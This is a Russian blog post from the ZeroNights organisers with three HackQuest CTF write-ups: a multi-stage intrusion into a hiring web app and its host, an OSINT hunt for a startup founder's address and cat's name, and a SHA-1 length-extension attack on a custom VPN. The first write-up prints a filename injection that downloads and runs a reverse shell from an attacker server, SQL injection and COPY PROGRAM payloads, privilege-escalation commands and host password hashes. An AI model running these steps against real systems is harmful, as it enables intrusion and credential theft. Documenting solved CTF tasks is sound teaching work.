
26 ноября 2025 года мы провели долгожданную конференцию по информационной безопасности ZeroNights. Было классно – пусть и не всегда легко :) За атмосферой предлагаем заглянуть в Галерею, а за ценным опытом спикеров – в Материалы, где вы найдете презентации и видеозаписи докладов.
А пока хотим поделиться некоторыми райтапами заданий для HackQuest ZeroNights. Это традиционный квест, проводимый до начала конференции, где за решение тасок и CTF победители получают билеты на ZeroNights. Отличный способ встряхнуться перед мероприятием!
Кстати, в этом году ZeroNights пройдет 30 сентября! HackQuest тоже будет. Все связанные с конференцией активности анонсируем отдельно. Будем на связи в Telegram и ВК!
А пока – к райтапам. Возможно, эти решения помогут участникам с задачками в этом году :)
Райтап задания 2 дня от DSEC by Solar / ATTACK ON HR
Описание:
The company decided to automate its hiring processes and developed new recruiting system. You can submit and view candidate resumes in a single app!
По адресу http://87.228.113.169/ (ныне не работает) был сайт.
Задача – найти флаг.
Hints
19/10/2025, 15:25 – Flag is inside /root/ folder on the host (not inside the containers)
19/10/2025, 13:10 – You need to find a race condition vulnerability
Решение
Этап 1: Разведка и первоначальный доступ
Начальный этап разведки заключался в сканировании веб-сайта с использованием специализированных словарей. В результате была обнаружена уязвимость Nginx alias traversal, которая позволила получить доступ к скрытой директории .git.
Результаты сканирования:
301 GET 7l 11w 169c http://87.228.113.169/static../.git => http://87.228.113.169/static../.git/ 200 GET 8l 20w 140c http://87.228.113.169/static../.git/config 200 GET 1l 10w 158c http://87.228.113.169/static../.git/logs/HEAD 200 GET 1l 2w 21c http://87.228.113.169/static../.git/HEAD 403 GET 7l 9w 153c http://87.228.113.169/static../.git/logs/ 301 GET 7l 11w 169c http://87.228.113.169/static../.git/logs/refs => http://87.228.113.169/static../.git/logs/refs/ 200 GET 12l 27w 1697c http://87.228.113.169/static../.git/index
Для восстановления структуры Git-репозитория была использована утилита git-dumper. Процесс восстановления включал в себя загрузку ключевых файлов репозитория.
Логи git-dumper:
[-] Testing http://87.228.113.169/static../.git/HEAD [200] ... [-] Fetching common files [-] Fetching http://87.228.113.169/static../.git/hooks/commit-msg.sample [200] ... [-] Finding objects [-] Fetching objects [-] Fetching http://87.228.113.169/static../.git/objects/61/0268f30853d412ad1380f3a8d93350124e9ee0 [200] ...
Из восстановленного репозитория был получен исходный код двух сервисов: hr-admin и resumes-app.
Этап 2: Анализ и эксплуатация resumes-app
Анализ исходного кода
При изучении кода resumes-app была обнаружена функция валидации имени файла, которая на первый взгляд казалась достаточно строгой.
func validateName(name string) error { log.Printf("name string: %s", name) re := regexp.MustCompile(`^[A-Za-z _]+\.(pdf|docx?|txt)$`) if !re.MatchString(name) { return fmt.Errorf("filename not allowed") } return nil }
Однако более глубокий анализ (и хинт) выявил уязвимость типа data race (состояние гонки), связанную с особенностями работы с переменными и замыканиями в Go:
Глобальная переменная
errиз функцииmainзахватывалась по ссылке замыканием, используемым вhttp.HandleFunc.Каждый HTTP-запрос обрабатывался в отдельной горутине, что приводило к конкурентной записи и чтению переменной
errбез какой-либо синхронизации.
Эксплуатация уязвимости
Для эксплуатации была разработана следующая стратегия:
Создание простого reverse shell на Go
(a.go).Развертывание веб-сервера на подконтрольной машине для раздачи скомпилированного reverse shell.
Код веб-сервера на Python (Flask):
import os from flask import Flask, send_file, abort app = Flask(__name__) FILE_PATH = os.path.join(os.path.dirname(__file__), "a.go") @app.route("/", methods=["GET"]) def serve_a_out(): if not os.path.isfile(FILE_PATH): abort(404, description="a.out not found next to app.py") return send_file( FILE_PATH, as_attachment=True, download_name="a.go", mimetype="application/octet-stream", conditional=True, ) if __name__ == "__main__": port = int(os.environ.get("PORT", 80)) app.run(host="0.0.0.0", port=port)
Для создания состояния гонки использовался инструмент Intruder из Burp Suite, который в многопоточном режиме (20 потоков) отправлял множество валидных запросов.
Шаблон валидного запроса для Intruder:
POST /api/upload HTTP/1.1 ... ------WebKitFormBoundaryBcTaEx90fgpxEwf8 Content-Disposition: form-data; name="resume"; filename="test$$.pdf" Content-Type: image/svg+xml test ------WebKitFormBoundaryBcTaEx90fgpxEwf8--
$$ используются в Intruder для подстановки некоторого пейлоада, в этом случае для генерации уникальных имен файлов.
Одновременно с этим вручную отправлялся один запрос с вредоносной нагрузкой.
Запрос с полезной нагрузкой:
POST /api/upload HTTP/1.1 ... ------WebKitFormBoundaryBcTaEx90fgpxEwf8 Content-Disposition: form-data; name="resume"; filename="test.pdf && wget <attacker_server_ip> -O a.go && go run a.go" Content-Type: image/svg+xml test ------WebKitFormBoundaryBcTaEx90fgpxEwf8--
В результате успешной эксплуатации был получен reverse shell с контейнера resumes-app.
Этап 3: Продвижение внутри сети и закрепление
После получения доступа к первому контейнеру стало очевидно, что основной целью является сервис hr-admin.
Сканирование внутренней сети
С помощью nmap, загруженного в скомпрометированный контейнер, была просканирована внутренняя подсеть 172.18.0.0/24.
Результаты сканирования Nmap:
... Nmap scan report for hq-postgres-1.hq_default (172.18.0.2) Host is up. PORT STATE SERVICE 5432/tcp open postgresql Nmap scan report for hq-hr-admin-1.hq_default (172.18.0.3) Host is up. PORT STATE SERVICE 8081/tcp open blackice-icecap ...
Сканирование выявило наличие контейнера с PostgreSQL и сервиса hr-admin.
Эксплуатация SQL-инъекции в hr-admin
В сервисе hr-admin была обнаружена SQL-инъекция в параметрах order и sort.Через созданный ранее reverse SOCKS-прокси была предпринята попытка эксплуатации с помощью sqlmap, но она не дала значимых результатов, кроме подтверждения уязвимости.
Для получения учетных данных от базы данных было решено использовать инъекцию для чтения файла /proc/self/environ из окружения процесса.
Пример запроса для чтения файла:
http://172.18.0.3:8081/resumes?sort=(SELECT encode(pg_read_binary_file('/proc/1/environ'), 'escape'))::int&order=asc
Это позволило извлечь креды для подключения к базе данных.
Этап 4: Компрометация контейнера с PostgreSQL
Используя полученные учетные данные и специально написанный Python-скрипт для подключения к PostgreSQL через SOCKS5-прокси, был получен полуинтерактивный доступ к СУБД.
Получение RCE через PostgreSQL
Благодаря высоким привилегиям пользователя в базе данных удалось добиться удаленного выполнения команд (RCE) с помощью техники COPY PROGRAM.
Команды для выполнения:
CREATE TEMP TABLE shell(output text) ON COMMIT DROP; COPY shell FROM PROGRAM '<команда>'; SELECT output FROM shell;
Это позволило получить reverse shell уже внутри контейнера с PostgreSQL.
Этап 5: Эскалация привилегий в контейнере
Анализ прав доступа в новом контейнере с помощью linPEAS выявил возможность запуска утилиты pgbench с правами sudo без пароля.
Вывод sudo -l:
User postgres may run the following commands on b1aabb2e93ca: (ALL) NOPASSWD: /usr/bin/pgbench
Для эксплуатации этой возможности был создан специальный скрипт /tmp/root.pg, который использовал pgbench для создания SUID-ного bash.
Содержимое /tmp/root.pg:
\setshell x /bin/sh -c '/usr/bin/cp /usr/bin/bash /tmp/bash && /usr/bin/chmod 4755 /tmp/bash'
Команды для эксплуатации:
sudo /usr/bin/pgbench -U superuser -d filesdb -n -c 1 -t 1 -f /tmp/root.pg/tmp/bash -p
В результате был получен root-доступ внутри контейнера PostgreSQL.
Этап 6: Побег из контейнера и доступ к хосту
Дальнейшее сканирование с помощью утилиты cdk показало наличие у контейнера чрезмерной привилегии (capability) cap-dac-read-search. Встроенный в cdk эксплойт позволил прочитать файл /etc/shadow с хост-системы.
Содержимое /etc/shadow (фрагмент):
root:$6$LhJL6EYu$2iez4yTdnjAtqLnAK4sDSyt31PCTEq2QDLn0CHTJ7vRlGbQyDpOEcWNwhZCkmA/QMHgug0yo4zHqrxPBcwojX.:20378:0:99999:7::: ... nikolay:$y$j9T$NiqS71BqX0wBUACjxx.Up.$ESKH2MNErpgWGpuSnV0VVHwNXSamZR6w6YD80b/riX2:20378:0:99999:7:::
Хеш пароля пользователя nikolay был успешно взломан с помощью John the Ripper и словаря rockyou.txt.
Команда для взлома:
john --wordlist=rockyou.txt --format=crypt --users=nikolay hashes.txt
Получив пароль, удалось подключиться к хосту по SSH через ранее настроенный SOCKS-прокси.
Этап 7: Получение полного контроля над хостом
На финальном этапе, после входа на хост-систему, повторный запуск linPEAS выявил небезопасную конфигурацию SUID-бита на стандартной утилите /usr/bin/env.
Небезопасные права доступа:
-rwsr-xr-x 1 root root 47K Jun 22 16:21 /usr/bin/env
Для получения привилегированного шелла было достаточно выполнить одну команду:
/usr/bin/env /usr/bin/bash -p
Это предоставило полный root-доступ к хост-системе. Финальным шагом стало чтение флага из директории /root/.
Райтап задания 5 дня от rawrd.channel/ STARTUP
Описание:
There is a rumor that a biotech startup Vitarecon is about to disrupt healthcare. But the person
who runs it may be a known fraudster.
Задача – найти адрес компании, владельца и имя его кота.
Формат флага: ZN{Country_City_Street_name_building_Name_Surname_CatName}
Решение
Шаг 1: Поиск информации о компании Vitarecon
Начинаем с простого поиска в Google по запросу "Vitarecon". В результатах поиска находим два важных ресурса:
Презентация на ppt-online.org - содержит информацию о компании
Профиль в Facebook - профиль Marta Duran, которая указала Vitarecon как место работы

Шаг 2: Анализ презентации компании
Открываем найденную презентацию и обнаруживаем слайд с информацией о команде. Здесь представлены три участника:
K. K. - Опытный лидер с глубоким пониманием медицинского рынка и стартап-экосистемы
Джесанг Лим - Технический визионер с опытом построения масштабируемых медицинских IT-решений
Марта Дюран - Специалист по финансовому управлению с экспертизой в инвестициях и масштабируемом бизнесе

Важно: Основатель компании имеет инициалы K. K.
Просматриваем все слайды презентации до конца. На последнем слайде находим список инициалов команды и адрес компании:
Charlotte Yhlens gata 11, 252 23

По адресу определяем местоположение: Helsingborg, Sweden (шведский индекс 252 23 соответствует городу Хельсингборг).
Шаг 3: OSINT через Facebook - поиск владельца
Переходим к профилю Marta Duran в Facebook. В её профиле указано, что она работает финансовым директором в Vitarecon.

Начинаем анализировать её профиль. Проверяем, кто ставил лайки на её посты и с кем она взаимодействует.
Шаг 4: Обнаружение владельца и имени кота
Находим пользователя Jesang Lim, который соответствует "Джесанг Лим" из презентации. Изучаем его посты.
В одном из постов Jesang Lim пишет:
"Yesterday Kihvan left his cat with me and went to visit his family for a couple of days. George seems pretty happy to have me around"

Из этого поста узнаём:
Имя владельца кота: Kihvan
Имя кота: George
Шаг 5: Определение полного имени владельца
Ищем в Facebook пользователя с именем "Kihvan" и находим профиль Kihvan Kim.

Инициалы K. K. из презентации совпадают с Kihvan Kim - это основатель компании Vitarecon.
Итоговый флаг
Собираем все найденные данные:
Страна: Sweden
Город: Helsingborg
Улица: Charlotte_Yhlens_gata
Дом: 11
Имя: Kihvan
Фамилия: Kim
Имя кота: George
Флаг: ZN{Sweden_Helsingborg_Charlotte_Yhlens_gata_11_Kihvan_Kim_George}
Выводы
Задача решается комбинацией классических OSINT-техник (гугл, анализ корпоративных презентаций, анализ связей между людьми).
Лучше не иметь редких имен.
Райтап задания 6 дня от Akiba Hackspace / N3TW0RK
Описание:
We missed those times when the internet was so simple and tiny, and the possibilities
deemed so infinite... where the tru3 h4ck3rs explored the world... led by pure curiosity
that was their only crime... So we started building one of our own.
Mind joining us in our journey?
Задача – найти флаг.
Hints
23/10/2025, 20:00 – Task was extended till 23:59:59 UTC+3
23/10/2025, 19:00 – We looked into vpn-client binary and seems Merkle Damgård is under attack
23/10/2025, 15:15 – VPN server identifies clients using signature in RPC connections
23/10/2025, 11:00 – Admin keeps his flag in the vault, and the vault authenticates users by IP
Исходники задания от авторов: https://github.com/akiba-hs/zn-hackquest-2025/
Решение
Дано
Участникам даётся ссылка на телеграм-бота. Используя его, участник может получить команду с конфигурацией для запуска контейнера с таском.

Здесь ip-адрес сервера
(192.168.159.1)уже локальный, так как трафик и write-up писался после ивента.
Конфигурация является закодированным base64. Если мы декодируем её, то получим json:
{"who":"10.11.0.10","password":"e9X9f8mI4HFbV0lLJAy11lxZ0gSJO4cTjyoMjJMSPvk="}`
Здесь всё тот же ip, что и в боте, и некий пароль. Запустим docker контейнер командой из бота и посмотрим, что там есть.
Изучаем контейнер

При запуске видим, что нам доступны чат и хранилище секретов.
Можно предположить, что оно как-то связано с получением флага. Поэтому для начала посмотрим хранилище.
Хранилище (vault)
Изучив исходный код клиента, мы узнаём:
Клиент общается с сервером
10.11.12.3по UDP на порту9999Клиент пытается биндить свой сокет на порт
31337, но это опционально-
Разные команды:
— Записывать секреты
— Листить секреты
— Читать секреты

При этом в клиенте нет явной аутентификации!
И если выписать ещё один конфиг, а затем залистить секреты, то список будет пустым.
Значит хранилище как-то идентифицирует пользователя.
Чат
Теперь давайте посмотрим чат.
В нём мы можем общаться с админом.

А также у нас есть сервис новостей.

С помощью команды news находим первую новость, дающую подсказку о том, куда копать дальше:

Мы видим, что была какая-то проблема с подписью (имперсонирование?), которую разработчики исправили увеличением некоего секрета до 256 бит. Длина "секрета" как раз совпадает с длиной пароля в конфигурации.
Окружение
Посмотрим, что ещё есть в контейнере.
Таск называется NETWORK, нам дали ip-адрес. Посмотрим на сеть командой ip a:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host proto kernel_lo valid_lft forever preferred_lft forever 2: akiba0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 65535 qdisc fq_codel state UNKNOWN group default qlen 500 link/none inet 10.11.0.10/16 brd 10.11.255.255 scope global akiba0 valid_lft forever preferred_lft forever inet6 fe80::6493:1861:b9db:55f7/64 scope link stable-privacy proto kernel_ll valid_lft forever preferred_lft forever 51: eth0@if52: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0 valid_lft forever preferred_lft forever
А также посмотрим текущие соединения командой ss -tulpan:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process tcp ESTAB 0 0 172.18.0.3:52718 192.168.88.218:4444 users:(("vpn-client",pid=9,fd=6))
Внутри контейнера развернут VPN. Узнать какой процесс слушает tun интерфейс можно так:
$ grep ^iff: /proc/*/fdinfo/* 2>/dev/null /proc/9/fdinfo/7:iff: akiba0
Точка входа
Посмотрим, что происходит при запуске контейнера — для этого надо найти "entrypoint".
Смотрим его из команды docker inspect ghcr.io/akiba-hs/zn25-net-client:latest, ищём свойство Entrypoint, которое будет равно:
"Entrypoint": [ "/tini", "--", "/usr/local/bin/entrypoint.sh" ],
tini — это контейнер аналог инит процесса, а мякотка живёт в /usr/local/bin/entrypoint.sh.
Сам файл entrypoint.sh
#!/bin/bash VPN_TOKEN=${VPN_TOKEN:-""} SERVER_IP=${SERVER_IP:-""} DEBUG=0 LOG_LEVEL=INFO function usage() { echo "" echo 'Run: docker run --rm -ti --privileged ghcr.io/akiba-hs/zn25-net-client -server <server internet ip> -auth <config string>' echo "" echo -e "\t-server <addr> - VPN server address" echo -e "\t-auth <string> - your VPN config from tg bot" echo -e "\t-debug - debug mode" echo -e "\t-log-level - log level for VPN daemon (and for debug mode and for logging to file /var/log/vpn-client.log)" echo "" echo "P.S. Enjoy" echo "P.P.S. Try harder ;)" exit 0 } function print_intro() { echo -e '\n\n ~~~ wazzup ${USERNAME}, ~~~\n' echo " * Welcome to the 31337 AKIBA n3tw0rk! *" echo " * Here you can find: *" echo " * - chat -- use ./chat_client.py *" echo " * - vault for storing secrets -- use ./vault_client.py *" echo " * *" echo " * In chats you will also find our news bot. *" echo " * It'll help you have a look around! :^) *" echo " * *" echo " * Chat client now supports themes! *" echo " * See ./chat_client.py --help on how to set them. *" echo -e " * *\n" } while [[ $# -gt 0 ]]; do case $1 in -server|--server|-s) SERVER_IP="$2" shift # past argument shift # past value ;; -auth|-a|--config) VPN_TOKEN="$2" shift # past argument shift # past value ;; -debug) DEBUG=1 LOG_LEVEL=TRACE shift # past argument ;; -log-level) LOG_LEVEL="$2" shift # past argument shift # past value ;; -help|--help|-h) usage ;; *) echo "Unknown option '$1'" usage ;; esac done if [[ -z "$SERVER_IP" ]] || [[ -z "$VPN_TOKEN" ]]; then echo "-server or -auth args aren't present" usage fi SELF_PID=$$ VPN_PID_FILE=/var/run/vpn-client.pid function start_vpn_client() { [[ $DEBUG = 1 ]] && OUT_FILE="/dev/stdout" || OUT_FILE="/var/log/vpn-client.log" /usr/local/bin/vpn-client -server "$SERVER_IP" -auth "$VPN_TOKEN" -pid-file "$VPN_PID_FILE" -log-level $LOG_LEVEL > $OUT_FILE echo "[ ] client exit with code: $?" echo "Steps for troubleshooting:" echo '1. Check your config in tg bot, maybe generate new one' echo '2. Add option `-debug` when running client container ' # echo '3. Check log of VPN daemon `less /var/log/vpn-client.log`' kill $SELF_PID exit 1 } start_vpn_client & echo "[ ] waiting connecting ..." until [ -e "$VPN_PID_FILE" ]; do sleep 0.5; done print_intro /bin/bash exit $?
Здесь есть:
вывод приветствия
helpсообщениепарсинг аргументов
запуск
/usr/local/bin/vpn-client,куда передаётся адрес сервера и конфиг из бота
Промежуточный итог
Теперь посмотрим, что нам известно на данный момент и чего нам не хватает, чтобы понять, куда двигаться дальше.
Мы знаем, что была какая-то проблема с подписью, в результате чего увеличили длину секрета.
Есть админ и есть хранилище. Раз хранилище для каждого клиента показывает только его секреты, то у админа там будет лежать
явки пароли от продафлаг.Дан полноценный VPN клиент и ip-адрес
tunинтерфейса совпадает с адресом из конфига.
Чего мы не знаем, так это:
Где используется пофикшенный секрет, как генерируется подпись и зачем она вообще.
Как можно достать флаг из хранилища админа.
Изучаем трафик
Запуск контейнера
На хосте запустим tcpdump и будем смотреть на трафик в сторону VPN-сервера. Итоговая команда такая:
tcpdump -v -i any -w outside_container.pcap src 192.168.159.1 or dst 192.168.159.1
Видим TCP соединение, в котором передаётся json-сообщение, обёрнутое в какой-то формат сообщения.

Причём в сообщении передаётся ip-адрес внутри VPN сети.
Общение с хранилищем
Первые пакеты понятны, теперь посмотрим что происходит при общении с хранилищем.
Tcpdump внутри контейнера
Для этого воспользуемся тем же tcpdump, но запустим его внутри сети контейнера.
Это можно сделать двумя способами:
-
Классический:
поставить внутри
tcpdump"провалиться" в соседнем терминале в контейнер через
docker exec -ti <id of container>запустить
tcpdumpсделать добро
и бросить его в водупрервать
tcpdumpвытащить дамп из контейнера через
docker cp
Не классический: Для трафика нужна только сеть, а сеть в контейнерах — это свой сетевой неймспейс. В линукс можно заспавнить процесс внутри неймспейса с помощью
nsenter.Нужно только узнатьpidпроцесса внутри целевого неймспейса.
Полная команда для второго варианта:
sudo nsenter -n --target $(docker inspect <id of container> | grep Pid | grep -P -o '\d+') -- tcpdump -i any -w inside_container.pcap
Таким образом можно запускать хостовые бинари, которые сохраняют файлы на хостовой системе, но сеть будет контейнерная.
Вернёмся к анализу...
Вот такие UDP пакеты клиент отправлял:

А вот, что было снаружи.
Сначала было запрошено соединение (туннель) до 10.11.12.3 в первом TCP-стриме. Видимо, этот TCP-стрим — это управляющее соединение:

В ответе от VPN-сервера указан порт 34349, отфильтровав по нему, увидим отправленное по UDP содержимое, но уже по TCP и обёрнутое в тот самый неизвестный формат:

Открытие чата
Также в трафике можно увидеть общение с реестром активных пользователей чата, который используется в клиенте чата:
До VPN:

Снаружи VPN:

Общение с админом
Само общение по чату с админом:

Собираем информацию вместе
Какой из всего этого мы можем сделать вывод?
У нас есть какой-то самописный VPN (на это ещё указывала текущая рабочая директория, которую мы видим при запуске контейнера /root/vpn).
Также мы узнали, что внутри VPN сети есть::
10.11.12.1- ip сервера10.11.12.2- ip админа10.11.12.3- ip хранилища10.11.12.5- ip справочника (реестра юзеров чата)
Также мы увидели структуру пакетов VPN'а:
<какое-то число>|<ip отправителя сообщение>|<json с сообщением>|<40 символов-хексов>
какое-то число— это скорее всего длина сообщенияip отправителя сообщения- вероятно, это поле используется для идентификации удаленной стороны и VPN клиент прозрачно подставляет ip адресаjson с сообщением- payload пакета40 символов-хексов- 40 символов, это 20 байт, то есть 160 бит, а это уже похоже наSHA-1и, вероятно, это подпись.
Итак в контейнере есть VPN-клиент, который и формирует подпись и использует для этого секрет, который передаётся в конфигурации. Этот секрет - единственная зацепка для сервера, по которой он может аутентифицировать VPN-клиента и сопоставить его со внутренним ip-адресом.
Реверс-инжиниринг VPN-клиента
Давайте посмотрим в исполняемый файл VPN клиента, чтобы понять, как формируется подпись и как он вообще работает.
Путь до бинаря нашли ещё на первых этапах: /usr/local/bin/vpn-client
В IDA мы видим, что клиент был написан на Go. Интересует нас в первую очередь кастомная логика, а не стандартный рантайм Go.
Таким образом находим функции из модуля akiba-net -выглядит как то, что нужно:

Среди его функций смотрим те, что обрабатывают сообщения. В частности, функция akiba-net/internal/vpn/api.PostelUnmarshalOne отвечает за парсинг — сначала достаёт само сообщение с помощью функции postelUnmarshalDecode, а затем парсит в RPC объект:

Сама функция postelUnmarshalDecode парсит не совсем обычным способом — в цикле проглатывает байты до тех пор, пока не увидит валидный json.

По её названию и способу работы можно понять, что клиент (и, скорее всего, сервер) реализуют Закон Постела, который появился на заре рождения глобальной сети и звучит так:
Быть консервативным в том, что вы делаете, быть либеральным в том, что вы принимаете от других.
То есть клиент должен отправлять всё максимально близко к стандарту протокола, но принимать может даже данные, не следующие строго стандарту, но смысл которых достаточно понятен из контекста.
Далее мы натыкаемся на две интересные функции: akiba-net/internal/vpn/crypto.(*SingleSigner).Sign и akiba-net/internal/vpn/crypto.doHexSign.

Что же мы можем из них узнать? Что подпись формируется как sha1(<секрет>|<ip>|<json с сообщением>). Зная секрет (он же пароль), известный только клиенту и серверу, можно подписывать сообщения от имени этого клиента и выдать себя за него.
Но пароль админа никак не получить! Неужели придётся брутить хэши?..
Атакуем SHA-1 удлинением сообщения
Поискав в интернете (или в википедии), можно узнать, что такая "подпись" уязвима к атаке удлинением сообщения — это с одной стороны. А с другой при парсинге используется закон Постела, который позволяет нам это применить, не беспокоясь о последствиях пересылки нечитаемых байтов после удлинения сообщения.
Воспользуемся, например, Hash Extender, предварительно поставив всё необходимое (apt install git make gcc libssl-dev).
Поставим инструмент на машину, используя:
git clone https://github.com/iagox86/hash\\_extender.git cd hash_extender make cd .. export PATH="$PATH:$(pwd)/hash_extender"
Пример работы:
hash_extender -f sha1 -d '|10.11.12.2|{"sender": "admin", "timestamp": "2025-09-28T13:49:38.405411+00:00Z", "content": "lolkek3000, what do you mean?"}' -s '0b10bc8ec47406828aea4f9697517f24601608a3' -a '{"id": 3, "type": "connect-request", "body": {"target": "10.11.12.3", "port": 9999}}' -l 32
Через -d указываем известную часть сообщения, после-s идёт значение хэша которое мы перехватили, через -a указываем, что хотим добавить, после -l идёт длина неизвестной части в байтах, в нашем случае это длина секрета.
В результате работы получим новый хэш и новую строку, которую мы должны отправить:
Type: sha1 Secret length: 32 New signature: 13002cfeedf5199711f49a3cc1b5a117b7257394 New string: 7c31302e31312e31322e327c7b2273656e646572223a202261646d696e222c202274696d657374616d70223a2022323032352d30392d32385431333a34393a33382e3430353431312b30303a30305a222c2022636f6e74656e74223a20226c6f6c6b656b333030302c207768617420646f20796f75206d65616e3f227d80000000000000000000000000000000000000000000000000000000000000000004e87b226964223a20332c202274797065223a2022636f6e6e6563742d72657175657374222c2022626f6479223a207b22746172676574223a202231302e31312e31322e33222c2022706f7274223a20393939397d7d
План атаки
Чтобы прочитать секреты админа, нам надо представиться VPN-серверу админом и запросить туннель с хранилищем. Для этого нам нужно украсть его подпись и расширить, добавив наше сообщение.
Подпись админа можно получить из трафика чата, а благодаря парсингу по закону Постела сервер отбросит и json-сообщения чата, и бинарные данные расширения.
Затем повторим расширение для сообщений внутри туннеля с хранилищем и достанем секреты.
[!TIP]
Как оказалось, несколько раз расширять не требовалось.
VPN-сервер и клиент не проверяли, что ip-адреса в сообщениях внутри туннеля и ip-адрес в управляющем сообщении совпадают. Проверялась только валидность подписи.
Так что, было достаточно расширить только для управляющего сообщения, а внутри туннеля подписывать своей подписью.
Итого напишем скрипт, который будет за нас:
открывает соединения для общения с админом
пишет админу
получает ответ от админа
расширяет сообщение админа для установления соединения с хранилищем
расширяет сообщение админа для чтения списка заметок
расширяет сообщение админа для чтения заметки flag
Несколько часов отлаживаем скрипт и получаем флаг:

В этом году мы определенно повторим наш традиционный квест. Встретимся осенью!